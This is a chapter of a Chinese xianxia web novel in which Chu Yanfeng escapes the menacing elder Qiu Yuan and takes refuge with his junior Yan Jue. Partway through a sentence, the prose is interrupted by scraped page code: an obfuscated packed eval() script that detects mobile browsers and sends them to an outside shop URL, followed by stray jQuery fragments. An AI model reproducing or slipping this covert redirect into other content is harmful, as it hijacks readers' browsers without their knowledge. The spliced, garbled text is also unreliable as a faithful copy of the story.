既然答应了言珏要好好准备北斗大比,那楚檐风肯定就不能在修炼一事上懈怠了。
在跟言珏分开之后,楚檐风准备找个地方好好修炼。
太偏僻的地方肯定不行,到后山去又很容易碰见言珏。他刚刚不说要一起修炼,分开后就偶遇上了,那实在显得太过刻意。
最后选来选去的,楚檐风挑选在了北斗剑宗的门派广场上修炼。
混在外门弟子中间,虽说偶尔会被叫过去指导外门弟子一些入门级的修炼问题,但胜在大庭广众之下没有人会做什么出格的事。
楚檐风的本命武器是一柄名唤如风的软剑,看似只有这么长,实则运转灵力后能如同蛇一般灵活缠绕。
平日里若是不用,可以缠绕腰间,也可以背在背后装成是普通的剑。
这样的信息,书中自然是并没有多提的。
这是来的这两天里,楚檐风的身体慢慢接收到的记忆。
不过,严格来讲不叫接收,应该是他回想起本属于自己的过往。
如风的修炼方法与寻常剑修不大相同,在北斗剑宗中算是独一份的存在,是掌门特意为楚檐风调整下来的一套修炼方法,因此也很受那些想成为掌门亲传弟子,却苦于没有位置了的弟子的嫉妒。
好在这里多是外门弟子,基本是刚刚炼气的后辈,看楚檐风的目光全是崇拜,根本没有嫉妒,这也是在门派广场上修炼让人安心的地方。
而如风不只是在修炼方法上与众不同,他在实战之中的表现也与想象中的大有不同。
在楚檐风对剑的刻板印象之中,都认为剑修肯定是主动进攻的那一个,结果原主修炼的功法并不是这个方向的。他就是单纯打辅助的,补刀的,帮队友填补进攻漏洞的。
按照这个修炼方向,楚檐风在门派广场上一直修炼到了傍晚。
“差不多了吧,已经很努力了。再晚这里就不安全了,先回去吧。”楚檐风揉了揉肩膀,将如风收到腰间,身体如同肌肉记忆一般,朝着清风阁的方向走去。
等到因为一天高强度修炼而累得神志不清的楚檐风发现自己是在往清风阁走的时候,他已经远远看见秋元正等在他的院子外边,负手背对着他,不知看着院内在想什么。
糟了!他怎么会在这啊!
秋元这老变态怎么还是贼心不死啊!
楚檐风吓得整个人一激灵,根本没有时间多想,转身就往反方向跑去。
虽说他们刚刚的举例并不算很近,但修士与普通人不同,修士所能感知到的区域是比普通人大数倍的。对普通人来说可能是还算挺远的距离,对于修士来说,那就是只要不是在走神肯定都能察觉有人的距离。
这个范围内来了又跑的还能是谁,只能是楚檐风本人啊。
楚檐风都能感觉得到,背后有人正在追他,一股明显收敛过的威压就明晃晃出现在身后不远。
秋元明明追在后面,却又不上来抓住他,仿佛逗弄什么宠物一般,就在后边追逐戏弄着他。
明明知道这一点,可楚檐风根本不敢停下来,生怕刚刚停下来,秋元的手就拍到他的肩膀上,笑眯眯跟他说“不跑了?”。
那可就太吓人了,他可不想突然莫名其妙就往原著剧情里面走进去了。现在不仅不能停下来,当务之急是赶紧找到小师弟,靠他的主角光环躲过一劫。
想到这一点,楚檐风记起今早言珏提到后山冷泉,当即调转方向往后山跑去。
散步一般紧紧跟在身后看不见之处的秋元见状,轻蔑地挑了下眉。
他停住脚步,看着楚檐风离开的方向,嗤笑一声,讥讽道:“怎么往后山跑了?看来我们风儿也不太聪明啊。”
楚檐风对身后的秋元如何评价自己全然不知,但他能明显感受到身后传递而来的威压。
他也清晰感受到因为周围逐渐荒凉而带来的恐惧,这样的恐惧包裹着他,让他在恐惧之中不得不顶着身后传递而来的威压继续往前逃去。
对他来说,只要逃到冷泉去,找到他的小师弟,一切问题都能迎刃而解。所以他一股劲儿往冷泉的方向跑,路上还不熟练地用上灵力。
他想,快一点,再快一点,只要快一点到言珏身边,身后的威压也好,寥无人烟带来的恐惧也好,都不是什么大事。
好不容易看见冷泉的冰凉雾气,楚檐风像是看见了什么救星一般,三步作两步就往冷泉内的人影扑去。
“师兄?”
言珏本是坐在冷泉之中修炼,忽然感觉到楚檐风的靠近,刚站起来准备迎上去问问怎么回事,就这样被楚檐风给扑了个满怀,情急之下他也来不及放下另一只手拿着的剑,只地单手将楚檐风抱住。
不仅如此,楚檐风还像猴子抱着树一样挂在他身上,双手环抱着他的脖子,身体和脑袋一个劲儿往他怀里缩,双腿挂在他的臂弯上直哆嗦,不知是碰见了什么。
楚檐风想说点什么,想解释,想诉苦,想说这一路他好害怕。
但他一个字也说不出口,只微微发着抖,将脸往言珏怀中埋,又嫌弃埋的位置不舒服,调整位置的时候嘴唇无意识蹭过言珏的皮肤。
言珏的喉结滚了滚,他抱着楚檐风的手臂不自觉收紧了一些。
他持剑的那只手紧绷着,抬眸朝楚檐风跑来的方向看去,冰冷的目光落在远方传来威压的那个方向上。
言珏能确定,跟在后面的人肯定是秋元。
他也很确定,秋元为什么要缠着楚檐风不放。
他死死盯着渐渐消失了秋元气息的方向,嘴角压了压。
跟在身后像是逗弄宠物一样步步逼近,将人逼到无路可逃的地方后,再将已然绝望得崩溃的炉鼎抓回去惩罚。
这就是预言梦中秋元曾对楚檐风做过的事,言珏脑中闪过预言梦的一幕幕,感受着那股渐渐消散的威压,拧眉在心中暗道……真恶心。
言珏没说话,他在秋元的气息消失之后,才收起手上紧握着的剑,安抚一般轻轻拍了拍楚檐风的肩膀,感受着怀中微微发抖的人渐渐平静下来。
楚檐风感觉不到秋元的气息后,才稍稍松了口气。
但被人追着跑的紧张害怕并不是一时之间就能缓过来的,他也是在言珏的安抚之下,呼吸才渐渐平缓下来。
冷静下来之后,楚檐风要面对的……就是被言珏抱在怀里这件事了。
还有他火急火燎跑来找言珏,究竟是为了什么,是什么事情让他急成这样,还怕得挂在人家身上半天不肯下来。
得想个理由,能说服言珏的理由。
楚檐风思考了又思考,最后就着挂在言珏身上的姿势,就着脸埋在言珏颈侧的姿势,声音闷闷的,含糊的,可怜兮兮的。
“我怕黑。”
“能跟你一起睡吗?”
人总是对弱势的一方起恻隐之心。
楚檐风不好解释自己怎么知道原著的剧情,他只好想出一个笨拙的办法。
赌一赌,赌一赌言珏对他的恻隐之心,赌他的示弱能让言珏生出几分怜悯。这份微不足道的怜悯,至少足够让他再留宿一夜。
言珏的身体明显僵硬了一瞬,他感
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968105|214581||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
受着怀中人的身体温度,感受着扑在自己颈侧的温热气息,在心里咀嚼着方才楚檐风说的话,喉结滚了又滚。
他的目光停留在楚檐风身上,一直看着,一直看着,一直到怀中的身体又因紧张微微发起抖来,才低声应了一个“好”字。
楚檐风松了口气,他都以为言珏不会答应自己了,正准备想新的理由试图说服人家呢。
结果言珏只是反射弧长,只是思考时间长一些,最后还是答应了下来。
既然言珏能答应,那至少今晚的问题是解决了。
但以后的问题可不好说,最近在言珏面前殷勤一点,多刷点人家的好感,争取能在保命神器主角光环身边多待一段时间。
下定决心之后,楚檐风一回到言珏的松鹤居,立刻乖巧地帮言珏铺起床来。
“床我铺好了。”楚檐风铺好床之后,站在床边,眼睛亮晶晶地看着言珏。
“师兄不用做这些的。”言珏欲言又止的,修士其实并不很需要休息,只是在并非长时间修炼和外出的时候,大家都还保持着这样一个无伤大雅的习惯。
“我就是……觉得老来你这里,想着帮点什么忙。”楚檐风尴尬地别开脸去,手指摸了摸自己的脸颊,小声说了这话。
说完之后,楚檐风又觉得这么说太干巴巴的了。
“你有什么想要的东西吗?我下山玩的时候买给你。”楚檐风嘴快说出口之后就开始后悔,他现在可不能离开言珏身边太久,不然要出事的,他赶紧补上一句,“如果咱们两个能一起下山玩就更好了。”
“师兄,修炼不可懈怠。”言珏见楚檐风提起出去玩就一副兴奋的样子,沉默片刻,提醒道。
“哎呀,那总得劳逸结合吧!”楚檐风就猜到言珏会这么说,他伸手把言珏拽过来,又拉着对方在床沿坐下,看着对方的眼睛问,“你就说,你有没有什么想要的?”
楚檐风都又问了一遍,言珏也不可能总是迟迟不回答。
他看着楚檐风亮晶晶的眼睛,忽然想起有次下山看见的糖葫芦。
“我上回下山的时候……”言珏迟疑片刻,迎着楚檐风期待的目光,将后面的话说了出来,“看见一对兄弟,那位兄长给弟弟买了糖葫芦。”
“原来你喜欢糖葫芦啊!”楚檐风惊讶地看着言珏,很难把糖葫芦这种酸酸甜甜的食物跟眼前这个无情剑修联系在一起。
但各人有各人的爱好,楚檐风倒也觉得没什么大不了的。
“那下回我们一起下山,我们去买糖葫芦。”楚檐风怕言珏多想,赶紧补上这一句。
言珏哪里是喜欢糖葫芦,他只是看人家的兄长给弟弟买了糖葫芦,所以也想楚檐风这个师兄给他买糖葫芦。
重要的并不是糖葫芦,而是楚檐风。
“好。”
言珏答应下来,一抬头却看见楚檐风不知道什么时候已经爬到了床上,趴在靠里边的位置,已经沉沉睡去。
楚檐风倒也不是故意睡着的,他实在是累得不行。
刚刚被秋元追得狼狈逃跑的时候没感觉,现在回到松鹤居放松下来,原本修炼了一天的疲惫感瞬间涌了上来。
太困了,太累了。
今天还忍受了整整两次惊吓。
楚檐风本想躺下来跟言珏聊天的,结果一碰到枕头就眼皮打架,没一会就睡着了。
言珏也能理解楚檐风的疲惫,他知道他的师兄今日受了太多惊吓,如今身心疲惫。
他落在楚檐风身上的目光带上几分心疼,他就这样看着楚檐风的睡颜,久久不语。